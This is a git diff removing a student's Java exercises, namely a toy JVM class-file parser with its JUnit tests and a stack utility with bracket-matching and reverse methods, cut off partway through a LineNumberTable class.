--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.loader;
-
-import com.coderising.jvm.util.Util;
-
-public class ByteCodeIterator {
-    private byte[] codes;
-    private int pos;
-
-    public ByteCodeIterator(byte[] codes) {
-        this.codes = codes;
-        this.pos = 0;
-    }
-
-    public byte[] getCodes(int length) {
-        if (this.pos + length >= this.codes.length) {
-            throw new IndexOutOfBoundsException();
-        }
-
-        byte[] buffer = new byte[length];
-        for (int i = 0; i < length; i++) {
-            buffer[i] = this.codes[pos++];
-        }
-        return buffer;
-    }
-
-    public int nextU1ToInt() {
-        return Util.byteToInt(new byte[]{codes[pos++]});
-    }
-
-    public int nextU2ToInt() {
-        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++]});
-    }
-
-    public int nextU4ToInt() {
-        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
-    }
-
-    public String nextU4ToHexString() {
-        return Util.byteToHexString(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
-    }
-
-    public String nextUxToHexString(int len) {
-        byte[] buffer = new byte[len];
-        for (int i = 0; i < len; i++) {
-            buffer[i] = this.codes[pos++];
-        }
-        return Util.byteToHexString(buffer);
-    }
-
-    public void back(int i) {
-        this.pos -= i;
-
-    }
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index be4e12c7de..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,140 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-import org.apache.commons.io.IOUtils;
-import org.apache.commons.lang3.StringUtils;
-
-import com.coderising.jvm.clz.ClassFile;
-
-
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-
-	public byte[] readBinaryCode(String className) {
-
-		className = className.replace('.', File.separatorChar) +".class";
-
-		for(String path : this.clzPaths){
-
-			String clzFileName = path + File.separatorChar + className;
-			byte[] codes = loadClassFile(clzFileName);
-			if(codes != null){
-				return codes;
-			}
-		}
-
-		return null;
-
-
-
-	}
-
-	private byte[] loadClassFile(String clzFileName) {
-
-		File f = new File(clzFileName);
-
-		try {
-
-			return IOUtils.toByteArray(new FileInputStream(f));
-
-		} catch (IOException e) {
-			e.printStackTrace();
-			return null;
-		}
-	}
-
-
-
-	public void addClassPath(String path) {
-		if(this.clzPaths.contains(path)){
-			return;
-		}
-
-		this.clzPaths.add(path);
-
-	}
-
-
-
-	public String getClassPath(){
-		return StringUtils.join(this.clzPaths,";");
-	}
-
-	public ClassFile loadClass(String className) {
-		byte[] codes = this.readBinaryCode(className);
-		ClassFileParser parser = new ClassFileParser();
-		return parser.parse(codes);
-
-	}
-
-
-
-	// ------------------------------backup------------------------
-    public String getClassPath_V1(){
-
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<this.clzPaths.size();i++){
-			buffer.append(this.clzPaths.get(i));
-			if(i<this.clzPaths.size()-1){
-				buffer.append(";");
-			}
-		}
-		return buffer.toString();
-	}
-
-	private byte[] loadClassFile_V1(String clzFileName) {
-
-		BufferedInputStream bis = null;
-
-		try {
-
-			File f = new File(clzFileName);
-
-
-			bis = new BufferedInputStream(new FileInputStream(f));
-
-			ByteArrayOutputStream bos = new ByteArrayOutputStream();
-
-
-			byte[] buffer = new byte[1024];
-			int length = -1;
-
-			while((length = bis.read(buffer)) != -1){
-				bos.write(buffer, 0, length);
-			}
-
-			byte [] codes = bos.toByteArray();
-
-			return codes;
-
-		} catch(IOException e){
-			e.printStackTrace();
-
-		} finally{
-			if(bis != null){
-				try {
-					bis.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-
-	}
-
-
-
-
-}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
deleted file mode 100644
index 524a9dfc4e..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.UnsupportedEncodingException;
-
-import com.coderising.jvm.clz.AccessFlag;
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.NullConstantInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import sun.invoke.util.BytecodeDescriptor;
-
-import javax.lang.model.element.Name;
-
-public class ClassFileParser {
-
-    public ClassFile parse(byte[] codes) {
-
-        ClassFile clzFile = new ClassFile();
-        ByteCodeIterator iter = new ByteCodeIterator(codes);
-
-        String magicNumber = iter.nextU4ToHexString();
-        if (!"cafebabe".equals(magicNumber)) {
-            return null;
-        }
-
-        clzFile.setMinorVersion(iter.nextU2ToInt());
-        clzFile.setMajorVersion(iter.nextU2ToInt());
-        clzFile.setConstPool(parseConstantPool(iter));
-        clzFile.setAccessFlag(parseAccessFlag(iter));
-        clzFile.setClassIndex(parseClassInfex(iter));
-        return clzFile;
-    }
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
-
-        return new AccessFlag(iter.nextU2ToInt());
-    }
-
-    private ClassIndex parseClassInfex(ByteCodeIterator iter) {
-
-        ClassIndex clzIndex = new ClassIndex();
-        clzIndex.setThisClassIndex(iter.nextU2ToInt());
-        clzIndex.setSuperClassIndex(iter.nextU2ToInt());
-
-        return clzIndex;
-
-    }
-
-    private ConstantPool parseConstantPool(ByteCodeIterator iter) {
-        int constantNum = iter.nextU2ToInt();
-        ConstantPool pool = new ConstantPool();
-        pool.addConstantInfo(new NullConstantInfo());
-
-        for (int i = 0; i < constantNum - 1; i++) {
-            int tag = iter.nextU1ToInt();
-            if (tag == 1) {
-                //utf-8_info
-                int len = iter.nextU2ToInt();
-                byte[] buffer = new byte[len];
-                buffer = iter.getCodes(len);
-                String s = null;
-                try {
-                    s = new String(buffer, "UTF-8");
-                } catch (UnsupportedEncodingException e) {
-                    e.printStackTrace();
-                }
-                UTF8Info utf8Info = new UTF8Info(pool);
-                utf8Info.setLength(len);
-                utf8Info.setValue(s);
-                pool.addConstantInfo(utf8Info);
-            } else if (tag == 7) {
-                //class_info
-                int utf8Index = iter.nextU2ToInt();
-                ClassInfo classInfo = new ClassInfo(pool);
-                classInfo.setUtf8Index(utf8Index);
-                pool.addConstantInfo(classInfo);
-            } else if (tag == 8) {
-                int stringIndex = iter.nextU2ToInt();
-                StringInfo stringInfo = new StringInfo(pool);
-                stringInfo.setIndex(stringIndex);
-                pool.addConstantInfo(stringInfo);
-            } else if (tag == 9) {
-                FieldRefInfo info = new FieldRefInfo(pool);
-                info.setClassInfoIndex(iter.nextU2ToInt());
-                info.setNameAndTypeIndex(iter.nextU2ToInt());
-                pool.addConstantInfo(info);
-            } else if (tag == 10) {
-                MethodRefInfo info = new MethodRefInfo(pool);
-                info.setClassInfoIndex(iter.nextU2ToInt());
-                info.setNameAndTypeIndex(iter.nextU2ToInt());
-                pool.addConstantInfo(info);
-            } else if (tag == 12) {
-                NameAndTypeInfo info = new NameAndTypeInfo(pool);
-                info.setIndex1((iter.nextU2ToInt()));
-                info.setIndex2(iter.nextU2ToInt());
-                pool.addConstantInfo(info);
-            } else {
-                throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
-            }
-
-        }
-        return pool;
-    }
-
-
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 638b193f69..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,202 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week5_jvm\\out\\production\\untitled";
-	static String path2 = "C:\\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-   
-
-}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index c3e3931582..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-
-
-    private String name;
-    private int age;
-
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-
-    public void setAge(int age) {
-        this.age = age;
-    }
-
-    public void sayHello() {
-        System.out.println("Hello , this is class Employee ");
-    }
-
-    public static void main(String[] args) {
-        EmployeeV1 p = new EmployeeV1("Andy", 29);
-        p.sayHello();
-
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group23/563253496/week5_stack/src/stack/Stack.java b/group23/563253496/week5_stack/src/stack/Stack.java
deleted file mode 100644
index 3065476c3f..0000000000
--- a/group23/563253496/week5_stack/src/stack/Stack.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package stack;
-
-import java.util.ArrayList;
-
-/**
- * Created by bdl19 on 2017/4/8.
- */
-public class Stack {
-    private int count;
-    private ArrayList elementData;
-
-    public Stack() {
-        this.count = 0;
-        elementData = new ArrayList();
-    }
-
-    public void push(Object o) {
-        count++;
-        elementData.add(o);
-
-    }
-
-    public Object pop() {
-        count--;
-        Object o = elementData.get(count);
-        elementData.remove(count);
-        return o;
-    }
-
-    public Object peek() {
-
-        return elementData.get(count-1);
-    }
-
-    public boolean isEmpty() {
-        if (count == 0) {
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    public int size() {
-        return count;
-    }
-
-    public String toString(){
-        StringBuilder sb = new StringBuilder();
-        Stack s = new Stack();
-        while(!this.isEmpty()){
-            sb.append(this.peek().toString());
-            sb.append(",");
-            s.push(this.pop());
-        }
-        while(!s.isEmpty()){
-            this.push(s.pop());
-        }
-
-//       sb.deleteCharAt(sb.length()-1);
-        return sb.toString();
-    }
-}
-
diff --git a/group23/563253496/week5_stack/src/stack/StackUtil.java b/group23/563253496/week5_stack/src/stack/StackUtil.java
deleted file mode 100644
index f94434c17b..0000000000
--- a/group23/563253496/week5_stack/src/stack/StackUtil.java
+++ /dev/null
@@ -1,129 +0,0 @@
-package stack;
-
-import stack.Stack;
-
-/**
- * Created by bdl19 on 2017/4/8.
- */
-
-public class StackUtil {
-
-
-    public static void main(String[] args) {
-        Stack s = new Stack();
-        for (int i = 1; i <=5 ; i++) {
-            s.push(i);
-        }
-        System.out.println(s);
-        reverse(s);
-        System.out.println(s);
-    }
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(Stack s) {
-        Stack temp = new Stack();
-        while (!s.isEmpty()) {
-            temp.push(s.pop());
-        }
-        //System.out.println(temp);
-        s = temp;
-
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(Stack s, Object o) {
-        Stack temp = new Stack();
-        Object obj;
-        while (!s.isEmpty()) {
-            obj = s.pop();
-            if (obj.equals(o)) {
-                break;
-            }
-            temp.push(obj);
-        }
-        while (!temp.isEmpty()) {
-            s.push(temp.pop());
-        }
-
-    }
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(Stack s, int len) {
-        if (len > s.size()) {
-            throw new IndexOutOfBoundsException();
-        }
-        Object[] o = new Object[len];
-        Stack temp = new Stack();
-
-        for (int i = 0; i < len; i++) {
-            o[i] = s.peek();
-            temp.push(s.pop());
-
-        }
-        while (!temp.isEmpty()) {
-            s.push(temp.pop());
-        }
-        return o;
-
-    }
-
-
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     *
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s) {
-        char[] chars = s.toCharArray();
-        Stack stack = new Stack();
-
-        for (int i = 0; i < chars.length; i++) {
-            switch (chars[i]) {
-                case '(':
-                    stack.push('(');
-                    break;
-                case '[':
-                    stack.push('[');
-                    break;
-                case '{':
-                    stack.push('{');
-                    break;
-                case ')':
-                    if (!stack.pop().equals('(')) {
-                        return false;
-                    }
-                    break;
-                case ']':
-                    if (!stack.pop().equals('[')) {
-                        return false;
-                    }
-                    break;
-                case '}':
-                    if (!stack.pop().equals('{')) {
-                        return false;
-                    }
-                    break;
-            }
-        }
-
-        return true;
-    }
-
-
-}
diff --git a/group23/563253496/week5_stack/src/test/StackUtilTest.java b/group23/563253496/week5_stack/src/test/StackUtilTest.java
deleted file mode 100644
index fc1e727103..0000000000
--- a/group23/563253496/week5_stack/src/test/StackUtilTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package test;
-
-import junit.framework.Assert;
-import org.junit.Test;
-import org.junit.Before; 
-import org.junit.After;
-
-import stack.Stack;
-import stack.StackUtil;
-
-import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.After;
-import static com.sun.xml.internal.ws.dump.LoggingDumpTube.Position.Before;
-
-/** 
-* stack.StackUtil Tester.
-* 
-* @author <Authors name> 
-* @since <pre>���� 8, 2017</pre> 
-* @version 1.0 
-*/ 
-public class StackUtilTest { 
-
-@Before
-public void before() throws Exception { 
-} 
-
-@After
-public void after() throws Exception { 
-} 
-
-/** 
-* 
-* Method: reverse(stack.Stack s)
-* 
-*/ 
-@Test
-public void testReverse() throws Exception { 
-//TODO: Test goes here...
-    Stack s = new Stack();
-    for (int i = 1; i <=5 ; i++) {
-        s.push(i);
-    }
-    Assert.assertEquals("5,4,3,2,1,",s.toString());
-    StackUtil.reverse(s);
-
-    Assert.assertEquals("1,2,3,4,5,",s.toString());
-} 
-
-/** 
-* 
-* Method: remove(stack.Stack s, Object o)
-* 
-*/ 
-@Test
-public void testRemove() throws Exception {
-    Stack s = new Stack();
-    for (int i = 1; i <=5 ; i++) {
-        s.push(i);
-    }
-    Assert.assertEquals("5,4,3,2,1,",s.toString());
-    StackUtil.remove(s,1);
-
-    Assert.assertEquals("5,4,3,2,",s.toString());
-//TODO: Test goes here... 
-} 
-
-/** 
-* 
-* Method: getTop(stack.Stack s, int len)
-* 
-*/ 
-@Test
-public void testGetTop() throws Exception { 
-//TODO: Test goes here... 
-} 
-
-/** 
-* 
-* Method: isValidPairs(String s) 
-* 
-*/ 
-@Test
-public void testIsValidPairs() throws Exception {
-//TODO: Test goes here...
-    String  s = "([e{d}f])";
-    boolean b = StackUtil.isValidPairs(s);
-    Assert.assertEquals(true,b);
-    s = "([b{x]y})";
-    b = StackUtil.isValidPairs(s);
-    Assert.assertEquals(false,b);
-
-} 
-
-
-} 
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 88f60c77f6..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.attr;
-
-public abstract class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-	
-	
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index 9bace446db..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,142 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.cmd.*;
-import sun.text.CodePointIterator;
-
-import java.io.UnsupportedEncodingException;
-
-
-public class CodeAttr extends AttributeInfo {
-    private int maxStack;
-    private int maxLocals;
-    private int codeLen;
-    private String code;
-
-    public String getCode() {
-        return code;
-    }
-
-    private ByteCodeCommand[] cmds ;
-    public ByteCodeCommand[] getCmds() {
-    	return cmds;
-    }
-    private LineNumberTable lineNumTable;
-    private LocalVariableTable localVarTable;
-    private StackMapTable stackMapTable;
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code ,ByteCodeCommand[] cmds) {
-        super(attrNameIndex, attrLen);
-        this.maxStack = maxStack;
-        this.maxLocals = maxLocals;
-        this.codeLen = codeLen;
-        this.code = code;
-        this.cmds = cmds;
-    }
-
-    public void setLineNumberTable(LineNumberTable t) {
-        this.lineNumTable = t;
-    }
-
-    public void setLocalVariableTable(LocalVariableTable t) {
-        this.localVarTable = t;
-    }
-
-    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-
-        int attribute_name_index = iter.nextU2ToInt();
-        if (!clzFile.getConstantPool().getUTF8String(attribute_name_index).equalsIgnoreCase(CODE)) {
-            throw new RuntimeException("CODE属性的attributenameindex解析错误");
-        }
-
-        int attribute_len = iter.nextU4ToInt();
-        byte[] bytes = iter.getBytes(attribute_len);
-        ByteCodeIterator codeIter = new ByteCodeIterator(bytes);
-
-        int max_stack = codeIter.nextU2ToInt();
-        int max_locals = codeIter.nextU2ToInt();
-        int code_len = codeIter.nextU4ToInt();
-        /*byte[] codes = codeIter.getBytes(code_len);
-
-        String code = null;
-        try {
-
-            code = new String(codes, "UTF-8");
-        } catch (UnsupportedEncodingException e) {
-            e.printStackTrace();
-        }
-*/
-
-        String code = codeIter.nextUxToHexString(code_len);
-
-        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-
-        CodeAttr codeAttr = new CodeAttr(attribute_name_index, attribute_len, max_stack, max_locals, code_len, code, cmds);
-
-        int exception_table_len = codeIter.nextU2ToInt();
-        if (exception_table_len > 0) {
-            throw new RuntimeException("方法的code属性中有异常未进行解析");
-        }
-
-        //code中的属性
-        int attribute_count = codeIter.nextU2ToInt();
-        /*byte[] bytes1 = codeIter.getBytes(attribute_length);
-        ByteCodeIterator codeAttrIter = new ByteCodeIterator(bytes1);
-
-        while (codeAttrIter.isNotEnd()) {
-            int attributenameindex = codeAttrIter.nextU2ToInt();
-            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
-                LineNumberTable table = LineNumberTable.parse(codeAttrIter, attributenameindex);
-                codeAttr.setLineNumberTable(table);
-            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
-                LocalVariableTable table = LocalVariableTable.parse(codeAttrIter,attributenameindex);
-                codeAttr.setLocalVariableTable(table);
-            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
-                codeIter.back(2);
-                StackMapTable table = StackMapTable.parse(codeIter);
-                codeAttr.setStackMapTable(table);
-            }
-        }*/
-        for (int i = 0; i < attribute_count; i++) {
-            int attributenameindex = codeIter.nextU2ToInt();
-            if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LINE_NUM_TABLE)) {
-                LineNumberTable table = LineNumberTable.parse(codeIter, attributenameindex);
-                codeAttr.setLineNumberTable(table);
-            } else if (clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(LOCAL_VAR_TABLE)) {
-                LocalVariableTable table = LocalVariableTable.parse(codeIter,attributenameindex);
-                codeAttr.setLocalVariableTable(table);
-            }else if(clzFile.getConstantPool().getUTF8String(attributenameindex).equalsIgnoreCase(STACK_MAP_TABLE)){
-                codeIter.back(2);
-                StackMapTable table = StackMapTable.parse(codeIter);
-                codeAttr.setStackMapTable(table);
-            }
-            
-        }
-
-
-
-
-            return codeAttr;
-    }
-
-    private void setStackMapTable(StackMapTable t) {
-        this.stackMapTable = t;
-
-    }
-
-    public String toString(ConstantPool pool){
-        StringBuilder buffer = new StringBuilder();
-        //buffer.append("Code:").append(code).append("\n");
-        for(int i=0;i<cmds.length;i++){
-            buffer.append(cmds[i].toString(pool)).append("\n");
-        }
-        buffer.append("\n");
-        buffer.append(this.lineNumTable.toString());
-        buffer.append(this.localVarTable.toString(pool));
-        return buffer.toString();
-    }
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 6ac9830d4d..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-
-    private static class LineNumberItem {
-        int startPC;
-        int lineNum;
-
-        public int getStartPC() {
-            return startPC;
-        }
-
-        public void setStartPC(int startPC) {
-            this.startPC = startPC;
-        }
-
-        public int getLineNum() {
-            return lineNum;
-        }
-
-        public void setLineNum(int lineNum) {
-            this.lineNum = lineNum;
-        }
-    }
-
-    public void addLineNumberItem(LineNumberItem item) {
-        this.items.add(item);
-    }
-
-    public LineNumberTable(int attrNameIndex, int attrLen) {
